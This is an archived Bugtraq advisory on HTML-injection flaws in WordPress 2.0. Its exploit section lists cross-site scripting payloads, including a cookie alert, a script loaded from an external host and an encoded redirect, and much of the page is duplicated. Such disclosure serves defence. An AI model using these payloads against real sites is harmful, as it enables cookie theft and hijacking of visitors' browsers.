WordPress Multiple HTML Injection Vulnerabilities
BID:16880
Info
WordPress Multiple HTML Injection Vulnerabilities
| Bugtraq ID: | 16880 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 28 2006 12:00AM |
| Updated: | Mar 03 2006 05:11PM |
| Credit: | Discovered by K4P0. |
| Vulnerable: |
WordPress WordPress 2.0 |
| Not Vulnerable: | |
Discussion
WordPress Multiple HTML Injection Vulnerabilities
WordPress is prone to multiple HTML-injection vulnerabilities.
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to control how the site is rendered to unregistered users of the application; other attacks are also possible.
WordPress version 2.0.1 is reportedly vulnerable; other versions may also be affected.
WordPress is prone to multiple HTML-injection vulnerabilities.
Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to control how the site is rendered to unregistered users of the application; other attacks are also possible.
WordPress version 2.0.1 is reportedly vulnerable; other versions may also be affected.
Exploit / POC
WordPress Multiple HTML Injection Vulnerabilities
An exploit is not required.
Examples have been provided:
- <script>alert(document.cookie)</script>
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
78,83,84))</script>
- <script src=http://www.example.com></script>
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,
47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
97,109,46,110,101,116)</script>
An exploit is not required.
Examples have been provided:
- <script>alert(document.cookie)</script>
- <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114,
100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32,
78,83,84))</script>
- <script src=http://www.example.com></script>
- <script>document.location = String.fromCharCode(104,116,116,112,58,47,
47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101,
97,109,46,110,101,116)</script>
Solution / Fix
WordPress Multiple HTML Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
WordPress Multiple HTML Injection Vulnerabilities
References:
References: